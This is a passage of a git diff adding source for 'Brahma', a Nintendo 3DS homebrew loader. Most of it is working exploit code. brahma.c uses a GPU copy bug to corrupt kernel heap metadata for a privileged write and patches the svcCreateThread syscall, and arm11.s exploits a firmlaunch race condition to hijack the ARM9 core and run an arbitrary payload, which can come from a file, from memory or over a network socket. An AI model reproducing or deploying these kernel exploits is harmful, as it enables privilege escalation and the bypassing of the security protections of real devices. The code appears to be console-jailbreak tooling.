/dev/null +++ b/ninjhax/include/hid.h @@ -0,0 +1,4 @@ +#pragma once + +u32 wait_key (void); +void wait_any_key (void); diff --git a/ninjhax/include/menus.h b/ninjhax/include/menus.h new file mode 100644 index 0000000..46a2efc --- /dev/null +++ b/ninjhax/include/menus.h @@ -0,0 +1,42 @@ +#pragma once + +#include "textmenu.h" + +#define BRAHMADIR "/brahma/" + +s32 print_menu (s32 idx, struct menu_t *menu); +s32 print_file_list (s32 idx, struct menu_t *menu); +s32 print_main_menu (s32 idx, struct menu_t *menu); + +s32 get_filename (s32 idx, char *buf, u32 size); + +s32 menu_cb_load (s32 idx, void *param); +s32 menu_cb_choose_file (s32 idx, void *param); +s32 menu_cb_run (s32 idx, void *param); +s32 menu_cb_recv (s32 idx, void *param); +s32 menu_cb_patch_svc (s32 idx, void *param); + +static const struct menu_t g_main_menu = { + 3, + { + {"Load ARM9 payload", &menu_cb_choose_file}, + {"Receive ARM9 payload", &menu_cb_recv}, + {"Run ARM9 payload", &menu_cb_run} + } +}; + +static const struct menu_t g_file_list = { + 10, + { + {"Slot 0", &menu_cb_load}, + {"Slot 1", &menu_cb_load}, + {"Slot 2", &menu_cb_load}, + {"Slot 3", &menu_cb_load}, + {"Slot 4", &menu_cb_load}, + {"Slot 5", &menu_cb_load}, + {"Slot 6", &menu_cb_load}, + {"Slot 7", &menu_cb_load}, + {"Slot 8", &menu_cb_load}, + {"Slot 9", &menu_cb_load} + } +}; diff --git a/ninjhax/include/sochlp.h b/ninjhax/include/sochlp.h new file mode 100644 index 0000000..34939ad --- /dev/null +++ b/ninjhax/include/sochlp.h @@ -0,0 +1,9 @@ +#pragma once + +#define SOC_ALIGN 0x1000 +#define SOC_BUFFERSIZE 0x100000 + +u32 soc_init (void); +u32 soc_exit (void); + +static u32 *SOC_buffer = 0; diff --git a/ninjhax/include/textmenu.h b/ninjhax/include/textmenu.h new file mode 100644 index 0000000..fa6f018 --- /dev/null +++ b/ninjhax/include/textmenu.h @@ -0,0 +1,20 @@ +#pragma once + +typedef int menu_func_t (s32, void *); + +typedef struct menu_elem_t { + const char *name; + menu_func_t *func; +} _menu_elem_t; + +typedef struct menu_t { + s32 element_count; + struct menu_elem_t element[]; +} _menu_t; + +s32 menu_get_element_count (struct menu_t *menu); +s32 menu_is_valid_index (s32 idx, struct menu_t *menu); +s32 menu_update_index (s32 idx, struct menu_t *menu); +const char *menu_get_element_name (s32 idx, struct menu_t *menu); +menu_func_t *menu_get_element_function (s32 idx, struct menu_t *menu); +s32 menu_execute_function (s32 idx, struct menu_t *menu, void *param); diff --git a/ninjhax/include/utils.h b/ninjhax/include/utils.h new file mode 100644 index 0000000..add902f --- /dev/null +++ b/ninjhax/include/utils.h @@ -0,0 +1,4 @@ +#pragma once + +void InvalidateEntireInstructionCache (void); +void InvalidateEntireDataCache (void); diff --git a/ninjhax/source/arm11.s b/ninjhax/source/arm11.s new file mode 100644 index 0000000..72c9a97 --- /dev/null +++ b/ninjhax/source/arm11.s @@ -0,0 +1,178 @@ +.arm +.align 4 +.code 32 +.text + +.global arm11_start +arm11_start: + B hook1 + B hook2 + +hook1: + STMFD SP!, {R0-R12,LR} + + MOV R0, #1000 + BL busy_spin + + MOV R0, #0 + BL pxi_send + + BL pxi_sync + + MOV R0, #0x10000 + BL pxi_send + + BL pxi_recv + BL pxi_recv + BL pxi_recv + + MOV R0, #2 + BL pdn_send + + MOV R0, #16 + BL busy_spin + + MOV R0, #0 + BL pdn_send + + MOV R0, #16 + BL busy_spin + + LDMFD SP!, {R0-R12,LR} + + LDR R0, var_44836 + STR R0, [R1] + LDR PC, va_hook1_ret + + var_44836: .long 0x44836 + +@ copy hijack_arm9 routine and execute +hook2: + ADR R0, hijack_arm9 + ADR R1, hijack_arm9_end + LDR R2, pa_hijack_arm9_dst + MOV R4, R2 + BL copy_mem + BX R4 + +@ exploits a race condition in order +@ to take control over the arm9 core +hijack_arm9: + @ init + LDR R0, pa_arm11_code + MOV R1, #0 + STR R1, [R0] + + @ load physical addresses + LDR R10, pa_firm_header + LDR R9, pa_arm9_payload + LDR R8, pa_io_mem + + @ send pxi cmd 0x44846 + LDR R1, pa_pxi_regs + LDR R2, some_pxi_cmd + STR R2, [R1, #8] + +wait_arm9_loop: + LDRB R0, [R8] + ANDS R0, R0, #1 + BNE wait_arm9_loop + + @ get arm9 orig entry point phys addr from FIRM header + LDR R0, [R10, #0x0C] + + @ backup orig entry point to FCRAM + offs ARM9 payload + 4 + STR R0, [R9, #0x4] + + @ overwrite orig entry point with FCRAM addr + @ this exploits the race condition bug + STR R9, [R10, #0x0C] + + LDR R0, pa_arm11_code +wait_arm11_loop: + LDR R1, [r0] + CMP R1, #0 + BEQ wait_arm11_loop + BX R1 + + pa_hijack_arm9_dst: .long 0x1FFFFC00 + pa_arm11_code: .long 0x1FFFFFF8 + pa_pxi_regs: .long 0x10163000 + some_pxi_cmd: .long 0x44846 + pa_firm_header: .long 0x24000000 + pa_arm9_payload: .long 0x23F00000 + pa_io_mem: .long 0x10140000 +hijack_arm9_end: + +copy_mem: + SUB R3, R1, R0 + MOV R1, R3,ASR#2 + CMP R1, #0 + BLE locret_FFFF0AC0 + MOVS R1, R3,LSL#29 + SUB R0, R0, #4 + SUB R1, R2, #4 + BPL loc_FFFF0AA0 + LDR R2, [R0,#4]! + STR R2, [R1,#4]! +loc_FFFF0AA0: + MOVS R2, R3,ASR#3 + BEQ locret_FFFF0AC0 +loc_FFFF0AA8: + LDR R3, [R0,#4] + SUBS R2, R2, #1 + STR R3, [R1,#4] + LDR R3, [R0,#8]! + STR R3, [R1,#8]! + BNE loc_FFFF0AA8 +locret_FFFF0AC0: + BX LR + +busy_spin: + SUBS R0, R0, #2 + NOP + BGT busy_spin + BX LR + +pdn_send: + LDR R1, va_pdn_regs + STRB R0, [R1, #0x230] + BX LR + +pxi_send: + LDR R1, va_pxi_regs +loc_1020D0: + LDRH R2, [R1,#4] + TST R2, #2 + BNE loc_1020D0 + STR R0, [R1,#8] + BX LR + +pxi_recv: + LDR R0, va_pxi_regs +loc_1020FC: + LDRH R1, [R0,#4] + TST R1, #0x100 + BNE loc_1020FC + LDR R0, [R0,#0xC] + BX LR + +pxi_sync: + LDR R0, va_pxi_regs + LDRB R1, [R0,#3] + ORR R1, R1, #0x40 + STRB R1, [R0,#3] + BX LR + +.global arm11_end +arm11_end: + +.global arm11_globals_start +arm11_globals_start: + + va_pdn_regs: .long 0 + va_pxi_regs: .long 0 + va_hook1_ret: .long 0 + +.global arm11_globals_end +arm11_globals_end: diff --git a/ninjhax/source/arm9.s b/ninjhax/source/arm9.s new file mode 100644 index 0000000..e4b0b1d --- /dev/null +++ b/ninjhax/source/arm9.s @@ -0,0 +1,24 @@ +.arm +.align 4 +.code 32 +.text + +@ default ARM9 payload, simply launches FIRM (reboots without clearing mem) +.global arm9_start +arm9_start: + B skipvars + + @ offs 4, will contain backup copy of FIRM ARM9 + @ entry point so execution can be returned to FIRM + pa_arm9_entrypoint_backup: .long 0xFFFF0000 + +skipvars: + STMFD SP!, {R0-R12,LR} + + @ insert your funky stuff here + LDMFD SP!, {R0-R12,LR} + + LDR PC, pa_arm9_entrypoint_backup + +.global arm9_end +arm9_end: diff --git a/ninjhax/source/brahma.c b/ninjhax/source/brahma.c new file mode 100644 index 0000000..6a356f8 --- /dev/null +++ b/ninjhax/source/brahma.c @@ -0,0 +1,452 @@ +#include <3ds.h> +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "brahma.h" +#include "exploitdata.h" + + +/* should be the very first call. allocates heap buffer + for ARM9 payload */ +u32 brahma_init (void) { + g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE); + return (g_ext_arm9_buf != 0); +} + +/* call upon exit */ +u32 brahma_exit (void) { + if (g_ext_arm9_buf) { + free(g_ext_arm9_buf); + } + return 1; +} + +/* overwrites two instructions (8 bytes in total) at src_addr + with code that redirects execution to dst_addr */ +void redirect_codeflow (u32 *dst_addr, u32 *src_addr) { + *(src_addr + 1) = dst_addr; + *src_addr = ARM_JUMPOUT; +} + +/* exploits a bug that causes the GPU to copy memory + that otherwise would be inaccessible to code from + a non-privileged context */ +void do_gshax_copy (void *dst, void *src, u32 len) { + u32 check_mem = linearMemAlign(0x10000, 0x40); + s32 i = 0; + + for (i = 0; i < 16; ++i) { + GSPGPU_FlushDataCache (NULL, src, len); + GX_SetTextureCopy(NULL, src, 0, dst, 0, len, 8); + GSPGPU_FlushDataCache (NULL, check_mem, 16); + GX_SetTextureCopy(NULL, src, 0, check_mem, 0, 0x40, 8); + } + HB_FlushInvalidateCache(); + linearFree(check_mem); + return; +} + +/* fills exploit_data structure with information that is specific + to 3DS model and firmware version + returns: 0 on failure, 1 on success */ +s32 get_exploit_data (struct exploit_data *data) { + u32 fversion = 0; + u8 isN3DS = 0; + s32 i; + s32 result = 0; + u32 sysmodel = SYS_MODEL_NONE; + + if(!data) + return result; + + fversion = osGetFirmVersion(); + APT_CheckNew3DS(NULL, &isN3DS); + sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS; + + /* copy platform and firmware dependent data */ + for(i=0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) { + if (supported_systems[i].firm_version == fversion && + supported_systems[i].sys_model & sysmodel) { + memcpy(data, &supported_systems[i], sizeof(struct exploit_data)); + result = 1; + break; + } + } + return result; +} + +/* exploits a bug in order to cause the ARM11 kernel + to write a certain 32 bit value to 'address' */ +void priv_write_four (u32 address) { + const u32 size_heap_cblk = 8 * sizeof(u32); + u32 addr_lin, addr_lin_o; + u32 dummy; + u32 *saved_heap = linearMemAlign(size_heap_cblk, 0x10); + u32 *cstm_heap = linearMemAlign(size_heap_cblk, 0x10); + + svcControlMemory(&addr_lin, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, 0x3); + addr_lin_o = addr_lin + 0x1000; + svcControlMemory(&dummy, addr_lin_o, 0, 0x1000, MEMOP_FREE, 0); + + // back up heap + do_gshax_copy(saved_heap, addr_lin_o, size_heap_cblk); + + // set up a custom heap ctrl structure + cstm_heap[0] = 1; + cstm_heap[1] = address - 8; + cstm_heap[2] = 0; + cstm_heap[3] = 0; + + // corrupt heap ctrl structure by overwriting it with our custom struct + do_gshax_copy(addr_lin_o, cstm_heap, 4 * sizeof(u32)); + + // Trigger write to 'address' + svcControlMemory(&dummy, addr_lin, 0, 0x1000, MEMOP_FREE, 0); + + // restore heap + do_gshax_copy(addr_lin, saved_heap, size_heap_cblk); + + linearFree(saved_heap); + linearFree(cstm_heap); + return; +} + +// trick to clear icache +void user_clear_icache (void) { + s32 i, result = 0; + s32 (*nop_func)(void); + const u32 size_nopslide = 0x1000; + u32 *nop_slide = memalign(0x1000, size_nopslide); + + if (nop_slide) { + HB_ReprotectMemory(nop_slide, 4, 7, &result); + for (i = 0; i < size_nopslide / sizeof(u32); i++) { + nop_slide[i] = ARM_NOP; + } + nop_slide[i-1] = ARM_RET; + nop_func = nop_slide; + HB_FlushInvalidateCache(); + + nop_func(); + free(nop_slide); + } + return; +} + +/* get system dependent data and set up ARM11 structures */ +s32 setup_exploit_data (void) { + s32 result = 0; + + if (get_exploit_data(&g_expdata)) { + /* copy data required by code running in ARM11 svc mode */ + g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret; + g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs; + g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs; + result = 1; + } + return result; +} + +/* Corrupts ARM11 kernel code (CreateThread()) in order to + open a door for code execution with ARM11 SVC privileges. */ +s32 corrupt_svcCreateThread (void) { + s32 result = 0; + + priv_write_four(g_expdata.va_patch_createthread); + user_clear_icache(); + result = 1; + + return result; +} + +/* TODO: network code might be moved somewhere else */ +s32 recv_arm9_payload (void) { + s32 sockfd; + struct sockaddr_in sa; + s32 ret; + u32 kDown, old_kDown; + s32 clientfd; + struct sockaddr_in client_addr; + s32 addrlen = sizeof(client_addr); + s32 sflags = 0; + + if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + printf("[!] Error: socket()\n"); + return 0; + } + + bzero(&sa, sizeof(sa)); + sa.sin_family = AF_INET; + sa.sin_port = htons(BRAHMA_NETWORK_PORT); + sa.sin_addr.s_addr = gethostid(); + + if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) { + printf("[!] Error: bind()\n"); + close(sockfd); + return 0; + } + + if (listen(sockfd, 1) != 0) { + printf("[!] Error: listen()\n"); + close(sockfd); + return 0; + } + + printf("[x] IP %s:%d\n", inet_ntoa(sa.sin_addr), BRAHMA_NETWORK_PORT); + + g_ext_arm9_size = 0; + g_ext_arm9_loaded = 0; + + sflags = fcntl(sockfd, F_GETFL); + if (sflags == -1) { + printf("[!] Error: fcntl() (1)\n"); + close(sockfd); + } + fcntl(sockfd, F_SETFL, sflags | O_NONBLOCK); + + hidScanInput(); + old_kDown = hidKeysDown(); + while (1) { + hidScanInput(); + kDown = hidKeysDown(); + if (kDown != old_kDown) { + printf("[!] Aborted\n"); + close(sockfd); + return 0; + } + + clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen); + svcSleepThread(100000000); + if (clientfd > 0) + break; + } + + printf("[x] Connection from %s:%d\n\n", inet_ntoa(client_addr.sin_addr), + ntohs(client_addr.sin_port)); + + s32 recvd; + u32 total = 0; + s32 overflow = 0; + while ((recvd = recv(clientfd, g_ext_arm9_buf + total, + ARM9_PAYLOAD_MAX_SIZE - total, 0)) != 0) { + if (recvd != -1) { + total += recvd; + printf("."); + } + if (total >= ARM9_PAYLOAD_MAX_SIZE) { + overflow = 1; + printf("[!] Error: invalid payload size\n"); + break; + } + } + + fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK); + + printf("\n\n[x] Received %d bytes in total\n", total); + g_ext_arm9_size = overflow ? 0 : total; + g_ext_arm9_loaded = (g_ext_arm9_size != 0); + + close(clientfd); + close(sockfd); + + return g_ext_arm9_loaded; +} + +/* reads ARM9 payload from a given path. + filename: full path of payload + returns: 0 on failure, 1 on success */ +s32 load_arm9_payload (char *filename) { + s32 result = 0; + u32 fsize = 0; + + if (!filename) + return result; + + FILE *f = fopen(filename, "rb"); + if (f) { + fseek(f , 0, SEEK_END); + fsize = ftell(f); + g_ext_arm9_size = fsize; + rewind(f); + if (fsize >= 8 && (fsize <= ARM9_PAYLOAD_MAX_SIZE)) { + u32 bytes_read = fread(g_ext_arm9_buf, 1, fsize, f); + result = (g_ext_arm9_loaded = (bytes_read == fsize)); + } + fclose(f); + } + return result; +} + +/* reads ARM9 payload from memory. + data: array of u8 containing the payload + dsize: size of the data array + returns: 0 on failure, 1 on success */ +s32 load_arm9_payload_from_mem (u8* data, u32 dsize) { + s32 result = 0; + + if ((data != NULL) && (dsize >= 8) && (dsize <= ARM9_PAYLOAD_MAX_SIZE)) { + g_ext_arm9_size = dsize; + memcpy(g_ext_arm9_buf, data, dsize); + result = g_ext_arm9_loaded = 1; + } + + return result; +} + +/* copies ARM9 payload to FCRAM + - before overwriting it in memory, Brahma creates a backup copy of + the mapped firm binary's ARM9 entry point. The copy will be stored + into offset 4 of the ARM9 payload during run-time. + This allows the ARM9 payload to resume booting the Nintendo firmware + code. + Thus, the format of ARM9 payload written for Brahma is the following: + - a branch instruction at offset 0 and + - a placeholder (u32) at offset 4 (=ARM9 entrypoint) */ +s32 map_arm9_payload (void) { + void *src; + volatile void *dst; + + u32 size = 0; + s32 result = 0; + + dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD); + + if (!g_ext_arm9_loaded) { + // defaul ARM9 payload + src = &arm9_start; + size = (u8 *)&arm9_end - (u8 *)&arm9_start; + } + else { + // external ARM9 payload + src = g_ext_arm9_buf; + size = g_ext_arm9_size; + } + + if (size >= 0 && size <= ARM9_PAYLOAD_MAX_SIZE) { + memcpy(dst, src, size); + result = 1; + } + + return result; +} + +s32 map_arm11_payload (void) { + void *src; + volatile void *dst; + u32 size = 0; + u32 offs; + s32 result_a = 0; + s32 result_b = 0; + + src = &arm11_start; + dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED); + size = (u8 *)&arm11_end - (u8 *)&arm11_start; + + // TODO: sanitize 'size' + if (size) { + memcpy(dst, src, size); + result_a = 1; + } + + offs = size; + src = &g_arm11shared; + size = sizeof(g_arm11shared); + + dst = (u8 *)(g_expdata.va_exc_handler_base_W + + OFFS_EXC_HANDLER_UNUSED + offs); + + // TODO sanitize 'size' + if (result_a && size) { + memcpy(dst, src, size); + result_b = 1; + } + + return result_a && result_b; +} + +void exploit_arm9_race_condition (void) { + + s32 (* const _KernelSetState)(u32, u32, u32, u32) = + (void *)g_expdata.va_kernelsetstate; + + asm volatile ("clrex"); + + /* copy ARM11 payload and console specific data */ + if (map_arm11_payload() && + /* copy ARM9 payload to FCRAM */ + map_arm9_payload()) { + + /* patch ARM11 kernel to force it to execute + our code (hook1 and hook2) as soon as a + "firmlaunch" is triggered */ + redirect_codeflow(g_expdata.va_exc_handler_base_X + + OFFS_EXC_HANDLER_UNUSED, + g_expdata.va_patch_hook1); + + redirect_codeflow(PA_EXC_HANDLER_BASE + + OFFS_EXC_HANDLER_UNUSED + 4, + g_expdata.va_patch_hook2); + + CleanEntireDataCache(); + InvalidateEntireInstructionCache(); + + // trigger ARM9 code execution through "firmlaunch" + _KernelSetState(0, 0, 2, 0); + // prev call shouldn't ever return + } + return; +} + +/* - restores corrupted code of CreateThread() syscall */ +void repair_svcCreateThread (void) { + asm volatile ("clrex"); + + CleanEntireDataCache(); + InvalidateEntireInstructionCache(); + + // repair CreateThread() + *(u32 *)(g_expdata.va_patch_createthread) = 0x8DD00CE5; + + CleanEntireDataCache(); + InvalidateEntireInstructionCache(); + + return; +} + +/* restore svcCreateThread code (not really required, + but just to be on the safe side) */ +s32 __attribute__((naked)) +priv_firm_reboot (void) { + asm volatile ("add sp, sp, #8\t\n"); + + repair_svcCreateThread(); + exploit_arm9_race_condition(); + + asm volatile ("movs r0, #0\t\n" + "ldr pc, [sp], #4\t\n"); +} + +/* perform firmlaunch. load ARM9 payload before calling this + function. otherwise, calling this function simply reboots + the handheld */ +s32 firm_reboot (void) { + s32 fail_stage = 0; + + fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */ + if (setup_exploit_data()) { + fail_stage++; /* failure while trying to corrupt svcCreateThread() */ + if (corrupt_svcCreateThread()) { + fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/ + svcCorruptedCreateThread(priv_firm_reboot); + } + } + + /* we do not intend to return ... */ + return fail_stage; +} diff --git a/ninjhax/source/hid.c b/ninjhax/source/hid.c new file mode 100644 index 0000000..d8cb9e1 --- /dev/null +++ b/ninjhax/source/hid.c @@ -0,0 +1,27 @@ +#include <3ds.h> + +/* loop until key is pressed */ +u32 wait_key (void) { + hidScanInput(); + u32 old_kDown, kDown; + old_kDown = hidKeysDown(); + + while (aptMainLoop()) { + gspWaitForVBlank(); + + hidScanInput(); + kDown = hidKeysDown(); + if (kDown != old_kDown) + break; + + gfxFlushBuffers(); + gfxSwapBuffers(); + } + return kDown; +} + +/* convenience function */ +void wait_any_key (void) { + printf("\n\nPress key to continue\n"); + wait_key(); +} diff --git a/ninjhax/source/main.c b/ninjhax/source/main.c new file mode 100644 index 0000000..887ad2c --- /dev/null +++ b/ninjhax/source/main.c @@ -0,0 +1,58 @@ +#include <3ds.h> +#include +#include +#include +#include +#include "brahma.h" +#include "hid.h" +#include "menus.h" +#include "sochlp.h" +#include "payload_bin.h" + +s32 quick_boot_firm (s32 load_from_disk) { + if (load_from_disk) + load_arm9_payload_from_mem(payload_bin, payload_bin_size); + firm_reboot(); +} + +s32 main (void) { + // Initialize services + srvInit(); + aptInit(); + hidInit(NULL); + gfxInitDefault(); + fsInit(); + sdmcInit(); + hbInit(); + qtmInit(); + + Handle fileHandle; + u32 bytesRead; + FS_archive sdmcArchive=(FS_archive){ARCH_SDMC, (FS_path){PATH_EMPTY, 1, (u8*)""}}; + FS_path filePath=FS_makePath(PATH_CHAR, "/reiNand.dat"); + Result ret=FSUSER_OpenFileDirectly(NULL, &fileHandle, sdmcArchive, filePath, FS_OPEN_READ, FS_ATTRIBUTE_NONE); + if(ret) goto EXIT; + FSFILE_Read(fileHandle, &bytesRead, 0x20000, 0x14400000, 320*1024); + FSFILE_Close(fileHandle); + + consoleInit(GFX_BOTTOM, NULL); + if (brahma_init()) { + quick_boot_firm(1); + printf("[!] Quickload failed\n"); + brahma_exit(); + + } else { + printf("* BRAHMA *\n\n[!]Not enough memory\n"); + wait_any_key(); + } + EXIT: + hbExit(); + sdmcExit(); + fsExit(); + gfxExit(); + hidExit(); + aptExit(); + srvExit(); + // Return to hbmenu + return 0; +} diff --git a/ninjhax/source/menus.c b/ninjhax/source/menus.c new file mode 100644 index 0000000..4bc8f89 --- /dev/null +++ b/ninjhax/source/menus.c @@ -0,0 +1,171 @@ +#include +#include <3ds.h> +#include "menus.h" + +s32 print_menu (s32 idx, struct menu_t *menu) { + s32 i; + s32 newidx; + s32 count = menu_get_element_count(menu); + + newidx = menu_update_index(idx, menu); + for (i=0; id_name; + } + else { + filename = "---"; + } + if (newidx == i) + printf("[ %s ] %s\n", menu_get_element_name(i, menu), filename); + else + printf(" %s %s\n", menu_get_element_name(i, menu), filename); + } + closedir(dp); + } + else { + printf("[!] Could not open '%s'\n", BRAHMADIR); + } + + printf("===========================\n\n"); + printf("A: Confirm\n"); + printf("B: Back\n"); + + return newidx; +} + +s32 print_main_menu (s32 idx, struct menu_t *menu) { + s32 newidx = 0; + consoleClear(); + + printf("\n* BRAHMA *\n\n\n"); + printf("===========================\n"); + newidx = print_menu(idx, menu); + printf("===========================\n\n"); + printf("A: Confirm\n"); + printf("B: Exit\n"); + + return newidx; +} + +s32 get_filename (s32 idx, char *buf, u32 size) { + DIR *dp; + struct dirent *entry; + s32 result = 0; + s32 numfiles = 0; + + if((dp = opendir(BRAHMADIR)) && buf && size) { + while((entry = readdir(dp)) != NULL) { + if (numfiles == idx) { + snprintf(buf, size-1, "%s%s", BRAHMADIR, entry->d_name); + result = 1; + break; + } + numfiles++; + } + closedir(dp); + } + return result; +} + +s32 menu_cb_recv (s32 idx, void *param) { + return recv_arm9_payload(); +} + +s32 menu_cb_load(s32 idx, void *param) { + char filename[256]; + s32 result = 0; + + if (param) { + if (get_filename(*(u32 *)param, &filename, sizeof(filename))) { + printf("[+] Loading %s\n", filename); + result = load_arm9_payload(filename); + } + } + return result; +} + +s32 menu_cb_choose_file (s32 idx, void *param) { + s32 curidx = idx; + s32 loaded = 0; + + while (aptMainLoop()) { + gspWaitForVBlank(); + + curidx = print_file_list(curidx, &g_file_list); + u32 kDown = wait_key(); + + if (kDown & KEY_B) { + break; + } + else if (kDown & KEY_A) { + consoleClear(); + loaded = menu_execute_function(curidx, &g_file_list, &curidx); + printf("%s\n", loaded? "[+] Success":"[!] Failure"); + wait_any_key(); + if (loaded) + break; + } + else if (kDown & KEY_UP) { + curidx--; + } + else if (kDown & KEY_DOWN) { + curidx++; + } + gfxFlushBuffers(); + gfxSwapBuffers(); + } + return 0; +} + +s32 menu_cb_run (s32 idx, void *param) { + s32 fail_stage; + + /* we're kinda screwed if the exploit fails + and soc has been deinitialized. not sure + whether cleaning up here improves existing + problems with using sockets either */ + soc_exit(); + printf("[+] Running ARM9 payload\n"); + fail_stage = firm_reboot(); + + char *msg; + switch (fail_stage) { + case 1: + msg = "[!] ARM11 exploit failed"; + break; + case 2: + msg = "[!] ARM9 exploit failed"; + break; + default: + msg = "[!] Unexpected error"; + } + printf("%s\n", msg); + return 1; +} diff --git a/ninjhax/source/sochlp.c b/ninjhax/source/sochlp.c new file mode 100644 index 0000000..29a3913 --- /dev/null +++ b/ninjhax/source/sochlp.c @@ -0,0 +1,27 @@ +#include <3ds.h> +#include "sochlp.h" + +u32 soc_init (void) { + Result ret; + u32 result = 0; + + SOC_buffer = (u32*)memalign(SOC_ALIGN, SOC_BUFFERSIZE); + if (SOC_buffer != 0) { + ret = SOC_Initialize(SOC_buffer, SOC_BUFFERSIZE); + if (ret == 0) { + result = 1; + } else { + free(SOC_buffer); + } + } + return result; +} + +u32 soc_exit (void) { + if (SOC_buffer) { + SOC_Shutdown(); + free(SOC_buffer); + SOC_buffer = 0; + } + return 0; +} diff --git a/ninjhax/source/textmenu.c b/ninjhax/source/textmenu.c new file mode 100644 index 0000000..29c99fd --- /dev/null +++ b/ninjhax/source/textmenu.c @@ -0,0 +1,45 @@ +#include <3ds.h> +#include "textmenu.h" + +s32 menu_get_element_count (struct menu_t *menu) { + s32 i = 0; + + if (menu) { + i = menu->element_count; + } + return i; +} + +s32 menu_is_valid_index (s32 idx, struct menu_t *menu) { + return (menu != 0 && (idx >= 0 && idx < menu_get_element_count(menu))); +} + +s32 menu_update_index (s32 idx, struct menu_t *menu) { + s32 newidx = 0; + s32 count = menu_get_element_count(menu); + + newidx = idx < 0 ? count - 1 : idx >= count ? 0 : idx; + + return newidx; +} + +const char *menu_get_element_name (s32 idx, struct menu_t *menu) { + return menu_is_valid_index(idx, menu) ? menu->element[idx].name : 0; +} + +menu_func_t *menu_get_element_function (s32 idx, struct menu_t *menu) { + return menu_is_valid_index(idx, menu) ? menu->element[idx].func : 0; +} + +s32 menu_execute_function (s32 idx, struct menu_t *menu, void *param) { + s32 result = 0; + menu_func_t *f; + + if (menu_is_valid_index(idx, menu)) { + f = menu_get_element_function(idx, menu); + if (f) + result = f(idx, param); + } + + return result; +} diff --git a/ninjhax/source/utils.s b/ninjhax/source/utils.s new file mode 100644 index 0000000..0613c4d --- /dev/null +++ b/ninjhax/source/utils.s @@ -0,0 +1,37 @@ +.arm +.align 4 +.code 32 +.text + +.global InvalidateEntireInstructionCache +.type InvalidateEntireInstructionCache, %function +InvalidateEntireInstructionCache: + mov r0, #0 + mcr p15, 0, r0, c7, c5, 0 + bx lr + +.global CleanEntireDataCache +.type CleanEntireDataCache, %function +CleanEntireDataCache: + mov r0, #0 + mcr p15, 0, r0, c7, c10, 0 + bx lr + +.global DisableInterrupts +.type DisableInterrupts, %function +DisableInterrupts: + mrs r0, cpsr + CPSID I + bx lr + +.global EnableInterrupts +.type EnableInterrupts, %function +EnableInterrupts: + msr cpsr_cx, r0 + bx lr + +.global svcCorruptedCreateThread +.type svcCorruptedCreateThread, %function +svcCorruptedCreateThread: + svc 0x08 + bx lr